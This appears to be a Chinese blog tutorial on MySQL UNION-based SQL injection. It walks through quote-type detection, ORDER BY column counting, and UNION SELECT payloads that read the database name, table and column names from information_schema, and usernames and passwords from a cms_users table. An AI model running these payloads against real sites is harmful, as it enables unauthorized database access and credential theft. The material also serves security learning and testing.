MySQL之联合注入

1.判断注入类型

通过单引号,双引号依次尝试,发现单引号会引发报错,而双引号不会报错,所以是使用单引号的字符串类型

结论:

字符型注入中,哪个符号引发的报错,就代表是哪个符号的字符型注入

2.order by推算字段数

为什么要推算字段数呢?

因为知道了字段数,就能利用联合注入的特性进行sql注入获取更多的信息。

那么如何推算字段数呢?

利用order by的特性----他可以指定列的顺序来进行排序,所以可以在order by后面直接加数字,表示按照第几列排序,一旦数字超过了列数,就会报错,从而可以推算出字段数

3.查数据库

核心原理:联合查询,database()函数

联合查询的两个条件:

  1. 两个查询语句的查询字段数是一样的,否则会报错
  2. 两个查询语句的查询字段类型必须是一致的

例如:通过union进行联合注入,使用database()函数获得数据库表

select * from cms_article where id = 32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15;

比如,这里获得的数据库表名是cms

4.查数据库表

核心原理:联合查询,database(),GROUP_CONCAT(),hex()函数,information_schema数据库

select * from cms_article where id = 32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(GROUP_CONCAT(table_name)),12,13,14,15 from information_schema.tables where table_schema = database();

通过information_schema库的tables表中查询对应数据库名的数据表名,并且使用GROUP_CONCAT()函数将所有的表名打印出来,然后转换为hex,将结果进行解码即可获得表名

5.查表的字段名

核心原理:联合查询,GROUP_CONCAT(),hex()函数,information_schema数据库

select * from cms_article where id = -33 union select 1,2,hex(GROUP_CONCAT(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.COLUMNS where table_name = "cms_users";

通过information_schema库的COLUMNS,查询表字段table_name,值为cms_users的字段信息,并且使用GROUP_CONCAT()函数将所有的字段名打印出来,然后转换为hex,将结果进行解码即可获得字段名

6.查数据

核心原理:联合查询,CONCAT(),hex()函数,information_schema数据库

select * from cms_article where id = 32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,hex(CONCAT(username,'--',password)),12,13,14,15 from cms.cms_users;

由于知道了要查询的数据库,表名与字段名,然后借助CONCAT()函数可以将想要查询的字段数据拼接成字符串,然后将其输出

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yuan_boss

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值